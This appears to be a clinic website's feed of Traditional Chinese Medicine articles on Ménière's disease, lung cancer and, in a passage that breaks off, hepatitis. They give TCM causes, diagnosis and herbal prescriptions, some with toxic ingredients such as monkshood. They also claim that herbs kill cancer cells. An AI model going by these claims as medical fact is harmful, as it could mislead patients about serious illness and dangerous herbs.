The disorder is also known as endolymphatic hydrops. The cause is unknown, but it is a common ear, nose and throat (ENT) disease. The major clinical symptoms are frequent attacks of vertigo, tinnitus, degrees of hearing loss and a sensation of fullness in the inner ear. Symptoms will resolve with or without treatment. The disease is usually seen in the young and middle-aged adults, and approximately 75 per cent of cases occur in those aged 30 to 60 years. The incidence between the sexes is equal. A recent increase in the number of cases is probably related to the increasing risk of air pollution and chemical toxicity.

 

Ménière’s disease is a disorder of the fluid-filled semicircular canals of the inner ear (labyrinth).

Traditional Chinese medicine (TCM) practitioners focus on the dizziness that results from the disease and consider it to be ear related. The disorder is therefore categorized as “aural dizziness.” Dizziness is a sensation of unsteadiness with a feeling of movement within the head. It is also referred to as giddiness or vertigo and there is often blurring of vision. In mild cases, the symptoms disappear when the eyes are closed. In serious cases, patients experience a whirling sensation and the feeling that things about them are turning. There is also then a tendency to loose balance and fall; this is commonly accompanied by nausea, vomiting and sweating. 

Different TCM schools through the ages have varied in their theories on the etiology of this disease. The famous classic Huang Di Nei Jing (The Yellow Emperor’s Medicine Classic) held that “Dizziness with trembling extremities is a syndrome caused by the stirring of liver-wind inside the body. It is also related to qi deficiency and deficit in the sea of marrow, etc.” 

Causes

The understanding in TCM is that the disease mainly stems from internal injuries to the liver,  spleen and kidneys. This leads to loss of nourishment of the orifices and a deficit in the sea of marrow, resulting in dizziness. The causative factors of the organ damage include wind evil, fire evil and phlegm.

Excess of liver yang
The liver dominates the conduction and dispersal of qi movement. Liver-yang has the property of upward motion and causes qi or other things to ascend. Liver-yin, conversely, has the property of static motion and causes things to descend. Yin and yang mutually restrict and promote each other in order to maintain balance in the body. Hyperactivity of liver-yang or deficiency of liver-yin triggers the qi and blood to ascend to the brain. Moreover, the acceleration of qi movement also produces wind evil and leads to symptoms of dizziness or sudden blackouts.

Hyperactivity of liver-yang occurs in these situations:

In individuals who are prone to a natural excess of yang, the excess yang periodically triggers the generation of wind evil.
Emotional instability, especially long-term anger and depression, causes stagnation of the liver-qi. This results in the accumulation of fire evil in the body and the exhaustion of liver-yin. In turn, this activates the liver-yang and generates wind evil.
Damage to the kidneys, for example as a result of indulgence, results in a depletion of kidney essence and affects the liver-yang. According to the theory of the five elements, the kidneys (representing water) nourish and promote the liver (representing wood).


Obstruction of orifices by phlegm and dampness
Orifices are the openings on the body’s surface to the five internal organs. Phlegm and dampness evil are heavy and turbid (viscous) in nature. They tend to cause obstructions in the places where they accumulate. When these evils are brought up by qi and reach the head, they lodge easily in the orifices and cause dizziness. 

In TCM, it is believed that phlegm and dampness evil accumulate under the following conditions:

Consumption of an improper diet, such as an excess of fat and alcohol, irregular meal times, and excessive concentration and stress lead to malfunction of the spleen and stomach. The organ damage facilitates accumulation of dampness evil, which can then turn into phlegm.
Impaired functioning of the lungs, resulting in a failure to regulate and distribute fluid throughout the body, leads to a build-up of dampness evil.
When the kidneys fail to perform their vaporization function (removal of metabolic waste), excessive fluid will remain in the body.

Deficiency of the kidneys
The kidneys are responsible for storing essence  and producing the marrow of which the brain is composed. The kidneys therefore nourish the brain. In kidney deficiency, the brain loses this supporting nourishment and dizziness results.

TCM holds that impaired functioning of the kidneys or loss of kidney essence happens in the following conditions:

in individuals with congenital (inherited) weakness who do not care for themselves properly
aging
chronic disease
indulgence.

Symptoms

TCM practitioners will examine a sufferer and categorize symptoms under special syndrome groups known as “disharmony patterns.” Certain disharmony patterns are present at different stages of a disorder. In Ménière’s disease these can be classified into the following types:

Deficit in the sea of marrow 
Individuals present with frequent attacks of dizziness accompanied by severe ringing in the ears and obvious hearing loss. Other symptoms include listlessness, soreness and weakness in the back and knees, insomnia and irritability, nightmares,  spermatorrhea, poor memory, and a hot sensation in the chest, palms of the hands and the feet. 

Deficiency in qi and blood
During the dizziness attacks, individuals look pallid, are fatigued or sleepy, lack emotion and are reluctant to speak. Other symptoms include loss of appetite, diarrhea, shortness of breath, and wheezing and palpitation on exertion.

Flood of cold-dampness 
Individuals experience forceful palpitations during attacks, accompanied by an aversion to cold, a low body temperature and the spitting-up of large amounts of thin, clear sputum. Other symptoms include pain and a sensation of cold in the loin area, listlessness and lack of affect (emotion), frequent nocturnal urination, and production of large volumes of clear urine.

Disturbance of liver-yang 
These episodes usually happen after an emotional disturbance and are accompanied by impetuosity and irritability, headache, a flushed face and blood-shot eyes. Other symptoms include a bitter taste in the mouth, a dry throat, and a feeling of fullness and discomfort in the chest and below the ribs. Insomnia and nightmares may occur.

Obstruction by viscous phlegm 
Individuals experience heaviness and distension in the forehead during dizzy spells. Chest discomfort, nausea and sometimes severe vomiting can accompany these symptoms. Other symptoms include the production of large amounts of saliva and sputum, palpitation, poor appetite and fatigue.

Diagnosis

Diagnosis in TCM places importance on determining the circumstances and manifestations of a disease through inquiry and symptom observation. Diagnosis is based on the traditional four examination techniques:

1. Questioning The TCM practitioner will establish the medical history of both the patient and his family.
2. Observation Examination of the physical features of the body, such as the face, tongue, hair, nails, sputum (mucus that is coughed up), and location of pain, all offer clues to the problem. The tongue is a particularly useful indicator of the functioning of the internal organs.
3. Listening and smelling The smelling of sputum and breath and listening to the sounds produced by the chest offer additional clues to the patient’s health.
4. Touching Feeling the pulse is a cornerstone of TCM diagnosis and gives the practitioner much information about any bodily imbalance.

In Ménière’s disease, the procedures used in TCM to differentiate between disharmony patterns can be explained as follows:


Deficit in the sea of marrow
This syndrome group is the result of  kidney deficiency. When kidney essence becomes depleted, production of brain marrow declines. The brain loses nourishment and the result is dizziness. Furthermore, the ear is the surface opening of the kidney and as the kidneys also produce marrow for bones, ringing in the ears and soreness of the back and knees develop concomitantly. 

On examination, the tongue is red with scanty fur. The pulse is thready, fine and rapid. 

Deficiency in qi and blood
As defective qi circulation causes a disturbance to the function of the brain and insufficiency of blood leads to a lack of nourishment, the result to the brain is dizziness. Exertion consumes more qi and so triggers an attack. Other presentations of qi deficiency include fatigue, a reluctance to speak, sleepiness and lack of appetite.

 

On examination, the tongue is pale. The pulse is fine and rapid. 

Flood of cold-dampness 
The syndrome results from the retention of coldness and dampness evils, and damage to the kidneys. The evils not only obstruct the orifices in the head, leading to dizziness, they also bring manifestations of patterns of cold, such as a low body temperature, fatigue and lack of affect (emotion). Kidney damage is usually involved in this condition, so the individual may experience pain and a cold sensation in loin area, or frequent urination at night.

 

On examination, the tongue is pale, and coated with white and moist fur. The pulse is deep, weak and fine.

 

Disturbance of liver-yang 
This pattern is usually triggered by an emotional disturbance, which gives rise to hyperactivity of liver–yang and generates wind evil. The symptoms that result include dizziness, headache, insomnia and nightmares. Moreover, due to yang excess, individuals can also experience heat symptoms, such as a flushed face, blood-shot eyes, a bitter taste in the mouth and a dry throat. 

On examination, the tongue is red and coated with yellow fur. The pulse is taut and rapid.

Obstruction by viscous phlegm 
When phlegm remains in the head and causes obstruction of orifices, normal qi flow will be affected. The individual experiences dizziness, fatigue, and heaviness and throbbing in the forehead. When phlegm stays inside the organs, symptoms such as chest discomfort, nausea, vomiting and poor appetite develop. 

On examination, the tongue is pink, and coated by white and greasy fur. The pulse is uneven and slippery, or may be taut. 

Note: If a TCM practitioner suspects a serious problem that Chinese medicine alone cannot treat, he or she will recommend the individual to see a Western doctor for further follow-up. 

Treatment

TCM treatment of Ménière’s disease is based on two principles: 

Elimination in conditions of excess; and tonifying in conditions of deficiency.
Dealing with symptoms in the acute stage; and dealing with the origin of the disorder when it is chronic.

Chinese Medicine 

Deficit in the sea of marrow


Therapeutic aim: To nourish yin, tonify kidneys, replenish essence and benefit marrow.

Prescription:

shu di huang processed rehmannia root
shan zhu yu Asiatic cornelian cherry fruit
shan yao common yam root
mu dan pi tree peony bark
ze xie oriental water-plantain root
fu ling Indian bread
gou qi chi Chinese wolfberry fruit
ju hua chrysanthemum
shi jue ming sea-ear shell
duan mu li processed oyster shell
bai shao white peony root
he shou wu fleece flower root

A Chinese patent medicine such as Qiju Dihuang bolus is recommended as it can nourish yin and tonify the kidneys. 

Deficiency in qi and blood

Therapeutic aim: To replenish qi and blood, reinforce the spleen and calm the mind.

Prescription: 

huang qi milk-vetch root
dang shen pilose asiabell root
dang gui Chinese angelica
long yan rou longan aril
suan zao ren spine date seed
bai shu large head atractylodes root
fu ling Indian bread
mu xiang costus root
yuan zhi thin-leaf milkwort root
zhi gan cao liquorice root (processed with honey)

A Chinese patent medicines such asGuipi bolus is recommended to reinforce the spleen, benefit qi and promote blood production.

 

Flood of cold-dampness

Therapeutic aim: To warm the kidney yang, eliminate coldness evil and promote diuresis (elimination of fluid from the body by urination).

Prescription: 

fu zi monkshood
fu ling Indian bread
bai shu large head atractylodes root
sheng jiang fresh ginger
bai shao white peony root
zhi gan cao liquorice root (processed with honey)

A Chinese patent medicine such asFugui Bawei bolus is recommended. This warms the kidneys and reinforces the yang part of body.

Disturbance of liver-yang

Therapeutic aim: To smooth the liver, expel wind evil, nourish the yin and depress the yang component.

Prescription: Tianma Gouteng drink

tian ma tall gastrodia tuber
gou teng gambir plant
sheng shi jue ming fresh abalone shell
niu xi achyranthes root
du zhong eucommia bark
sang ji sheng Chinese taxillus herb
huang qin baical skullcap root
zhi zi Cape jasmine fruit
ye jiao teng fleece flower stem
fu shen foria with hostwood
gan cao liquorice root

A Chinese patent medicine such asLongdan Xiegan bolus is recommended. This clears heat and fire evils, promotes liver function and detoxifies.

Viscous phlegm obstruction

Therapeutic aim: To reinforce the spleen and liver, expel dampness evil and phlegm. 

Prescription: 

fa ban xia pinellia tuber (processed with liquorice root and lime)
tian ma tall gastrodia tuber
bai shu large head atractylodes root
fu ling Indian bread
ju hong dried tangerine peel
sheng jiang fresh ginger
da zao Chinese date
gan cao liquorice root

Acupuncture and moxibustion

The use of acupuncture and moxibustion can be helpful, for alleviating symptoms like vertigo and tinnitus. Treatment is conducted as follows:

When applying general methods, the usual acupuncture points are:
Bai-hui, shen-ting, shen-men, er-men, nei-guan, shen-mai, he-gu, zu-shan-li, feng-long, pi-shu, shen-shu, guan-yuan, feng-chi, xing-jian and zhong-wan. 
Three or four acupoints are stimulated each time.
When applying otopuncture therapy, the acupuncture points are: 
Forehead, heart, shen-men, kidney, occipital and inner ear. 
Two to three acupoints are stimulated each time.
When applying acupoint injection, the recommended acupuncture points are: 
He-gu, zu-shan-li, tai-chong, yi-ming or nei-guan, feng-chi and si-du.
Two to three acupoints are stimulated each time. Injections can include danshen, ginseng and Chinese angelica.

 


]]> Lung Cancer http://acuherb.us/lung-cancer/ Wed, 28 Mar 2012 17:44:30 +0000 http://acuherb.us/?p=1443

By Dr. Ken.  Wang

Lung cancer is the most comm only fatal of all cancers, killing more than half a million people worldwide every year. A majority of lung cancers are linked to tobacco use. As this habit becomes more prevalent, lung cancer numbers rise. It is the leading fatal cancer among adult males and is rapidly increasing in women, as more and more take up smoking.

Lung cancer develops when lung cells change into abnormal cancer cells after being continually irritated by something in their environment, known as a carcinogen. The most common lung carcinogens are the toxins in cigarette smoke, to which both smokers and those breathing other people’s secondhand smoke are exposed. The Cancer Society of New Zealand reports that second-hand smoke is the third largest killer in the country, after active smoking and alcohol use. Industrial chemicals and dusts can also act as carcinogens and contribute to the development of lung cancer. 

Cancer cells are cells able to divide very rapidly and do not follow the regular patterns of normal healthy cells. They form colonies or tumours of tissue that do not help the lungs to function normally. Some cancer cells break off and travel in the blood to different parts of the body to form new cancer colonies known as “metastases.” When these cancer colonies grow so large that they interfere with normal lung function or the healthy functioning of other parts of the body, symptoms like pain, bleeding, loss of function (i.e. difficulty breathing), and /or weight loss may appear. 

Types of Lung Cancer 
Lung cancers are grouped according to the type of cells they contain. Because each cancer cell type behaves differently, selected treatment will also be different. 

Squamous cell carcinoma is the most common type of lung cancer (30 percent of cases) and is almost always associated with tobacco smoking. It develops in the lung cells lining the main bronchi (the largest air passages). This tumour often grows out into the airway and blocks it, leading to symptoms like breathlessness, chronic cough, and bloodstained (rusty) sputum. It usually spreads into the chest wall and local lymph nodes before metastasizing (sending cancerous cells to distant parts of the body). When this happens, it may be discovered and diagnosed early enough for effective surgical removal.
   
Adenocarcinoma is the form of lung cancer most commonly found in non-smokers and accounts for 29 percent of all lung cancers. There is a high rate of this kind of cancer among non-smoking Hong Kong women. It develops in the glands supplying the lungs with mucous of the airways and is often found in the outer areas of the lung.
   
Small cell carcinoma, another common cancer, (17 percent of lung cancer cases), is also strongly linked to cigarette smoking. This type is sometimes referred to as oat cell carcinoma because the cancer cells look oat-shaped. Small cell carcinoma can cause a rapid early death because it spreads or metastasizes quickly and is “silent,” meaning it does not have early warning symptoms.
   
Large cell carcinoma is responsible for 15 percent of lung cancer cases. It has large, rounded cells and grows in the airways eventually making it difficult to breathe.
   
Bronchioloalveolar cell carcinoma is a rare tumour found in less than two percent of cases.
   
Unknown cell types: Nine percent of tumours contain cancer cells which pathologists cannot identify or classify either because the cells are “mixed” (containing a range of different types of cells), undifferentiated (do not have characteristics belonging to any particular cell line) or come from another part of the body.
   

Mesothelioma is not always classified as lung cancer because it develops in the membranes (pleura) covering the lung and the inside of the chest walls. A rare tumour, mesothelioma is strongly linked with exposure to asbestos. This is the reason asbestos is now considered to be a very dangerous material.

 

According to Traditional Chinese Medicine (TCM) theory, lung cancer is included under the categories describing “lung-masses”, “expanding-masses”, “cough”, “cough blood” and “chest pain”. Several ancient medical books make reference to it. For example, in the book “Summary from the Golden Chest ” (Han Dynasty 206-220AD) under the five organs section, it states “the [lung] mass cannot be easily removed.” In the Huang Di Nei Jing Su Wen , another famous book written during the Han dynasty, it refers to “difficulty breathing [with lung cancer] without having difficulty eating.” TCM believes lung cancer results from having a lack of healthy energy and from the accumulation of exogenous evils (outside influences that invade the body and cause illness).
 

 

Causes

Retention of Wetness and Phlegm evil Hypofunction (under functioning) of the  spleen causes a disturbance in body-fluid metabolism and failure of fluid transportation, which are part of this organ’s main functions in TCM. Untransformed body fluid turns into phlegm and wetness, which are toxic materials. These toxic materials flow upward and interfere lung function. 

Stagnation of Vital Energy 
Under normal conditions, the vital energy (qi) circulates smoothly in and out, up and down and all over the body. If an internal injury occurred, for example, depression of the seven emotions will cause deficiency and impairment of vital qi and derangement of yin and yang, it may cause breathing syndromes due to the improper lung function. TCM believes yin and yang disharmony is the cause of disease and physiological disorders. Disharmony means the proportions of yin and yang are unequal and unbalanced. When one aspect is deficient, the other is in excess. Lung cancer is induced by an overall deficiency of qi and yin in the body, which leads to an excess syndrome in the lungs. The excess syndrome generally manifests as pathological lung changes such as a stagnation of qi flow, blood stasis (lack of easy blood flow) and accumulation of phlegm and toxins.

Blood Stasis
Vital energy (qi) acts as the commander of blood. It means that vital energy is the motivating force of the blood circulation. Therefore blood stasis is usually accompanied by stagnation of vital energy. Coagulation and stagnation of qi and blood flow can contribute to the formation of a tumour. 

Pathogenic evils (substances causing disease) invade the lung 
When the healthy energy is deficient due to body dysfunction or structural damage. Some pathogenic evils such as wind and cold take advantage of this imbalance and invade the lung. Over time these evils accumulate in the lungs and can cause cancer.

How do these factors contribute to the development of lung cancer? 
As a result of lung dysfunction and improper qi flow, body fluids cannot be properly distributed. They begin to accumulate in the lungs and eventually turn into phlegm. Over time, the phlegm, stagnant blood and qi flow, and the remaining toxins trapped in the lungs form into a lump, which would be known in western medicine as a lung cancer mass. 

Other Factors Associated with the Development of Lung Cancer:

1. Smoking
2. Occupational Exposure to Carcinogens
(substances that can cause cancer) i.e. inorganic arsenic, asbestos, chrome, nickel, radon, hydrocarbon in coal smoke, coal tar, and fossil oil
3. Air pollution
4. Ionizing Radiation
5. Diet and Nutrition

Symptoms

Lung cancer can be divided into 5 different syndromes. The symptoms will differ depending on the syndrome each individual has.

1. Yin Deficiency and Interior Heat Syndrome 
Symptoms include a cough without sputum or a cough with thick sputum. The sputum can appear blood stained. Breathlessness, chest pain, a dry mouth and throat, a hoarse voice, mild fever and night sweats may also be present. Individuals may feel distracted or have insomnia. The tongue appears flushed or dark red and has a little or no coating. The pulse feels rapid and thready.

2. Spleen Deficiency and Phlegm Dampness Syndrome 
Symptoms include a cough that produces a lot of sputum and chest tightness accompanied by shortness of breath. These individuals usually feel weak and fatigued and have pale complexions. Weight loss and loose stools are also common. Their tongues appear pale and bulging and have an indented margin. A white and greasy fur coating may also be present. The pulse feels soft and moderate or soft and rolling.

3. Deficiency of Qi and Yin Syndrome 
Symptoms include a low and weak sounding cough, which produces a small amount of sputum, which can be bloodstained. These individuals can experience shortness of breath, fatigue and weakness. They are thirsty but lack the desire to drink and may sweat spontaneously or have night sweating. The tongue appears light red or red with an indented margin, and the pulse feels thready and weak.

4. Deficiency of Yin and Yang Syndrome 
Respiratory symptoms include a cough, shortness of breath, dyspnea (difficulty breathing) and/or tachypnea (rapid breathing) with exercise. Tinnitus (ringing in the ears), body aches, lower back (lumbar) or knee weakness, urinary frequency at night may also be present. Individuals can have an aversion to cold and have cold limbs. General fatigue and weakness are also not uncommon. The tongue appears light or dark red with a thin fur coating, and the pulse feels deep and faint.

5. Stagnation of Qi and Blood Stasis Syndrome 
Symptoms include difficulty coughing and expectorating bloodstained sputum, chest tightness, tachypnea (rapid breathing), chest pain and distension and abdomen pain located in a fixed position. Purple veins show on the neck and chest. Lips and nails are dark coloured. Constipation with dry and hard stools may also be present. The tongue appears dark red and may have either ecchymosis (bruise) or petechiae (pinpoint bruises) with a yellowish thin coating. The pulse will feel taut or uneven. 

Diagnosis

Development of lung cancer comes from a weakening of the healthy energy that flows through the body. As previously stated, this mainly occurs when there is a deficiency of vital qi and imbalance of yin and yang. It manifests itself as one of the five syndromes previously described under the “symptoms” section.

Diagnosis in TCM is based on four important examination techniques. The first is “questioning.” The TCM practitioner will want to know important information such as what your current complaints are, your past medical history, and family health history. The second technique is “observation.” Looking at the physical features of the body such as the face, tongue, hair, nails, sputum and area of pain all give clues as to what the problem may be. The third technique is “hearing and smelling.” Smelling the sputum and breath and listening to the sounds coming from the chest are important when evaluating lung cancer. The last technique used in examination includes “touching.” Feeling the pulse is one of the cornerstones of TCM diagnosis and gives the TCM practitioner a lot of information about the imbalance occurring in the body.

If the TCM practitioner, suspects there might be a serious problem that Chinese medicine alone cannot treat, he or she may recommend that the individual see a western doctor for further follow up. It is also not uncommon for a TCM practitioner to ask to see the blood work or x-rays that you have had performed to give the practitioner more information when forming a TCM diagnosis. The syndromes that are most commonly diagnosed with lung cancer include: 

1. Yin Deficiency and Interior Heat Syndrome
2. Spleen Deficiency and Phlegm Dampness Syndrome
3. Deficiency of Qi and Yin Syndrome
4. Deficiency of Yin and Yang Syndrome
5. Stagnation of Qi and Blood Stasis Syndrome

When evaluating someone for lung cancer, it is important to make sure that it can be differentiated from the following health problems.

Pneumonia 
This is an acute and febrile disease which is caused by a wind-heat pathogen (substance causing a disease). According to TCM, it develops in four stages: the defense (wei) stage, vital energy (qi) stage, nutrient (yin) stage, and blood (xue) stage. At the beginning there will be a fever and cough which are the defenses against the pathogens. As chest pain, coughing, and yellow thick sputum develop, the pneumonia goes into the qi stage. When the pathogens interfere with the body receiving nutrients, the pneumonia enters the nutrient stage, and symptoms such as a high fever or convulsions may occur. Finally, when the pathogenic factors enter the blood, lethargy, coma and even death may occur if it is not treated properly. 

Lung abscess
It is usually caused by a pathogen that originates form outside of the body and also has an acute onset. Symptoms like sudden chilling, high fever, chest pain, increased sputum production with a fishy smell or thick bloodstained sputum, and a cough are usually present. 

Lung tuberculosis 
It is caused by weakness, a deficiency of qi and blood, and the bacteria Mycobacterium tuberculosis. Its main active manifestations are a chronic cough, heamoptysis (coughing up blood or bloody sputum), fever, night sweating, fatigue and weight loss. 

Treatment

Treatment of lung cancer is complex and can benefit from a complementary western and TCM approach. Often the combined treatment of western medicine and TCM produces better outcomes than using either method alone.

A lot of traditional TCM treatments increase the body’s resistance to invading pathogens (substances that cause disease) in order in to increase a person’s lifespan. TCM treatments aim to relieve symptoms, stop the disease’s progression and restore healthy functioning of the individual rather than curing (in the western sense) a disease completely. While herbs are commonly used, other methods of treatment may include acupuncture, meditation and qi gong.

Recently, with the advances in western research techniques, there has been a lot of research into anticancer mechanisms of Chinese herbs. Studies have shown that certain TCM herbs can work in the following ways to help slow down or stop the progression of cancer by: 

1. Inducing the cancer cell to differentiate into a normal cell.
2.. Promoting apoptosis of cancer cells. Apoptosis, also sometimes called programmed cell death, means that a chemical signal is triggered within the cell telling it to die. In cancer cells this chemical signal seems to be turned off, which is why they multiply rapidly.
3. Helping to block the chemical messages in cancer cells that tell them to grow, multiply and form into tumours.
4. Improving the efficacy of chemotherapy. Currently many cancers are developing drug resistance to chemotherapy regimens because of their high expression of P-polysaccharides(PGP). Some TCM herbs can interfere with this expression or offer new ways to attack cancer cells.
5. Activating blood circulation and eliminating blood stasis. It is thought better blood circulation can limit the tumour spread and allow chemotherapy to reach the cancer cells more effectively.
6. Supporting the body’s own immune system by activating macrophages, increasing antibody production, and regulating lymphocytes so it can fight cancer cells more efficiently and limit the growth of the tumor. Some mushrooms such as yunzhi (Coriolus versicolor) and lingzhi (Ganoderma lucidum) are known for their ability to support healthy immune system function.
7. Killing the cancer cells directly.

Because there are many, TCM prescriptions and products that may possess one or more of the above properties, it is best to get the advice of a TCM practitioner who knows what’s best for you and your condition. 

The treatments described below are some approaches that may be taken to treat the different TCM syndromes associated with lung cancer. 

1. Yin Deficiency and Interior Heat Syndrome
Therapeutic aim: Nourish yin and clear away lung-heat, soften the hard mass found in the chest and remove toxins from the body. 

Prescription: Yangyin Qingfei Xiaojie Tang Jiajian Decoction.

Nanshashen Fourleaf Ladybell Root
Beishashen Coastal Glehnia Root
Tiandong Cochinchinese Asparagus Root
Maidong Dwarf Lilyturf Tuber
Baihe Lily Bulb
Xingren Almond
Baibu Stemona Root
Yuxingcao Heartleaf Houtuynia Herb
Shengyiren Raw Coix Seed
Quangualou Whole Snakegourd Fruit
Bayuezha Akebia fruit
Shishangbai Selaginella Herb
Shijianchuan Chinese Sage Herb
Baihausheshecao Hedyotis Diffusa Herb
Chanpi Dry skin of Toad
Xiakucao Spike of Prunella
Shenmuli Raw Oyster Shell

Addition for individuals with sputum mixed with blood: 

Xianhecao Hairyvein Agrimonia Herb
Baimaogen Lalang Grass Rhizome

Addition for individuals with low grade fever: 

Yinchaihu Starwort Root
Digupi Chinese Wolfberry Root-bark

Addition for individuals with insomnia: 

Zaoren Date Seed
Hehuanpi Silktree Albizia Bark
YeJiaoteng Fleece-flower Stem

Addition for individuals with night sweating:

Rudaogen Glutinous Root
Fuxiaomai Blightened Wheat

2. Spleen Deficiency and Phlegm Dampness Syndrome 
Therapeutic aim: Replenish qi and invigorate the spleen, disperse lung-qi and help break up and expel phlegm. 

Dangshen Tangshen
Baizhu Largehead Atractylodes Rhizome
Fuling Indian Bread
Chenpi Dried Tangerine Peel
Banxia Pinellia Tuber
Xingren Almond
ShengnanXing Rhizome of Arisaema
Shanhailuo Codonopsitis Root
Shishangbai Selaginella Herb
Shijianchuan Chinese Sage Herb
Yiren Coix Seed
Ziwan Tatarian Aster Root
Kuandong Common Coltsfoot
Jiaoshanzha Hawthorn Fruit (charred)
Jiaoshenqu Leavened mixture of almond, sweet wormwood herb etc.(charred)

Addition for individuals with an abundant expectoration of sputum

Baijiezi Seed of Sinapis Alba
Tianjiangke Shell of Metaplexis fruit

Addition for individuals with loose stool and cold limbs

Buguzhi Malaytea Scurfpea Fruit
Huluba Common Fenugreek Seed
Tusizi Dodder Seed

3. Deficiency of Qi and Yin Syndrome 
Therapeutic aim: Supplement qi, nourish yin, break up and expel phlegm and remove toxic substances from the body.

Prescription: Combination decoction of Sijunzi Tang and Shashen Maidong Tang Jiajian

Huangqi Raw Milkvetch Root
Baizhu Raw Largehead Atractylodes Rhizome
Beishashen Coastal Glehnia Root
Tiandong Cochinchinese Asparagus Root
Maidong Dwarf Lilyturf Tuber
Wuweizi Chinese Magnoliavine Fruit
Xingren Almond
Baibu Stemona Root
Gualoupi Snakegourd Fruit peel
ShengnanXing Rhizome of Arisaema
Shijianchuan Chinese Sage Herb
Baihausheshecao Hedyotis Diffusa Herb
Xiakucao Spike of Prunella
Shengmuli Raw Oyster Shell
Chuanbeimu Tendrilleaf Fritilary Bulb

Addition for individuals with yellow sputum

Huangqin Baical Skullcap Root
Sangbaipi White Mulbery Root-bark
Yeqiaomaigen Wild Buckwheat Root

Addition for individuals with more yin deficiency 

Xiyangshen American Ginseng
Nuzhenzi Glossy Privet Fruit

Addition for individuals with more Qi deficiency

Shengshaishen Sun-dried ginseng
Taizishen Heterophylly Falsestarwort Root

4. Deficiency of Yin and Yang Syndrome
Therapeutic aim: Nourish yin, warm the kidney, subdue swelling and dissolve lumps or masses. 

Prescription: Shashen Maidong Tang Decoction and Zan Yu Dan (fertility promoting pill) 

Beishashen Coastal Glehnia Root
Tiandong Cochinchinese Asparagus Root
Shengdi Rehmannia Root (unprocessed)
Xianmao Common Curculigo Rhizome
Xianlingbi Epimeddium
Congrong Cistanche Deserticola Stem
Chuanbeimu Tendrilleaf Fritilary Bulb
Shoudi Rehmannia Root (processed)
Shandougen Vietnamese Sophora Root
Shishangbai Selaginella Herb
Huangbuliuxing Cowherb seed
Shijianchuan Chinese Sage Herb
Furongye Cottonrose Hibicus leaf
Xueliguo Climbing Fig Fruit

Addition for individuals with an aversion to cold and who have cold limbs 

Fuzi Prepared Common Monkshood Daughter Root

Addition for individuals with frequent urination at night

Yizhiyen Sharpleaf Glangal Fruit Seed

Addition for individuals with difficult and fast breathing

Shengesan Powder of Ginseng and Gecko
Zishiying Fluorite
Tusizi Dodder Seed

5. Stagnation of Qi and Blood Stasis Syndrome
Therapeutic aim: Replenish Qi to resolve blood stasis, soften hard mass and dissolve lumps or masses.

Prescription: Fuyuan Huoxue Tang Jiajian Decoction (for recuperation and promoting blood circulation)

Taoyen Peach seed
Huangbuliuxing Cowherb seed
Danshen Danshen Root
Sanleng Common Burreed Tuber
Ezhu Zedoray Rhizome
fengfang Honeycomb
Bayuezha Akebia fruit
Chuanyujin Curcuma stem
Quangualou Whole Snakegourd Fruit
Shengbiejia Raw Turtle Shell
Xiakucao Spike of Prunella
Haizao Seaweed
Kunbu Tangle
Shandougen Vietnamese Sophora Root
Shijianchuan Chinese Sage Herb
Baihausheshecao Hedyotis Diffusa Herb
Shancigu Common Pleione Pseudobulb
Shengmuli Raw Oyster Shell

For individuals with bloodstained sputum 

Deduct:
Taoyen Peach seed
Danshen Danshen root
Huangbuliuxing Cowherb seed
And Add:
Xianhecao Hairyvein Agrimonia Herb
Qiancaogen India Madder Root
Shensanqi Radix Notoginseng

Addition for individuals with a puffy face and head 

ShengHuangqi Raw Milkvetch Root
Fangji Fourstamen Stephania Root
Cheqianzi Plantain Seed

Addition for individuals with severe pain

Yanhu Yanhu
Ruxiang Frankincense
Moyao Myrrh
Xuchangqing Paniculate Swallowwort Root

 

 

]]> Hepatitis http://acuherb.us/hepatitis/ Mon, 23 Jan 2012 18:14:51 +0000 http://acuherb.us/?p=1417

Hepatitis

Traditional Chinese medicine (TCM) does not have a term or definition that specifically refers to the current understanding of hepatitis. In modern medicine, hepatitis is often caused by different viruses, which result in acute or chronic liver problems. Infection of the hepatitis A, B and C viruses are the most common forms of viral hepatitis. The disease is characterized by fever, dry mouth, poor appetite, nausea, vomiting, weakness and skin that appears yellow in color (jaundice).

Despite the fact there is no specific classification of hepatitis in TCM, the clinical features of viral hepatitis share similarities to TCM syndromes including “jaundice,” “liver-stagnation,” “hypochondria pain,” “abdominal distention” and “abdominal mass.” “Jaundice” is when the skin and eyes develop a yellow appearance “Hypochondria pain” is caused by a depletion of vital energy (qi) and stagnation of blood flow in the meridians of the liver and gallbladder. “Abdominal distention” is characterized by distention of the abdomen with visible superficial veins covering the skin’s surface.

As early as the Han Dynasty (206-220A.D.), these syndromes were already mentioned in TCM medical texts. For example, “liver-stagnation syndrome” and “abdominal mass” were first described in the famous Chinese medical book Yellow Emperor’s Internal Classic . This book defined “liver-stagnation syndrome” as a disease caused by stagnation of vital energy (qi) and blood in the liver, and “abdominal mass” was defined as a formation of a mass in the abdomen accompanied by distention or pain.

According to TCM theory, the liver is mainly responsible for regulating the flow of qi as well as storing and regulating the amount and flow of blood. It is also linked to part of the central nervous system, and the autonomic nervous system (the part of the nervous system over which a person does not have voluntary control), the circulatory system and eyes. Moreover, the liver controls emotions, digestion, tendon movement, and female menstruation. As a result, symptoms or signs of liver problems will occur in these related organs when a person falls ill. 

Causes

As stated earlier in the definition section, viral hepatitis shares similar symptoms with particular TCM syndromes such as jaundice, abdominal distention or hypochondria pain.

1. The cause of jaundice: occurs during the acute phase of the disease.
Over consumption of food and alcohol leads to spleen and stomach malfunction. In TCM, these organs transform food and drink into qi, and transport the qi to the lungs where it can be distributed throughout the body. When the spleen and stomach malfunction, dampness evils accumulate internally and transform into heat evils. If the evils cannot be removed, they exert negative influences on the body. When external seasonal evils such as dampness and heat attack the body at the same time, they interact with each other, become hyperactive and cause the malfunction of the triple-burner. This creates liver qi and blood stagnation, and results in bile leakage from the gall bladder, which eventually gives rise to the yellow color of skin and eyes known as jaundice.
2. The cause of abdominal distention or hypochondria pain (or chronic phase).
When the individual’s immunity to illness is weak or there is retention of dampness and heat evils from being inadequately treated, the remaining evils can trigger symptoms such as poor appetite, abdominal discomfort and fatigue. Consequently under these pathological conditions, the internal organs such as the lungs, spleen and kidneys malfunction and lose their moistening and nourishing functions. As a result the flow of blood and qi becomes impaired. In severe cases of qi stagnation and blood stasis, abnormal metabolism of fluid occurs and gives rise to symptoms like ascites, an accumulation of fluid in the abdominal cavity.
3. The cause of multiple organ failure. 
Factors such as pestilential evils, also known as poisonous agents or plagues, can trigger serious contagious diseases. In TCM, these evils are characterized by a sudden onset of symptoms, strong infection potential and ability to spread rapidly. When these evils infect the body, the internal organs and qi and blood movement become seriously impaired and give rise to fatal symptoms like bleeding and convulsions.

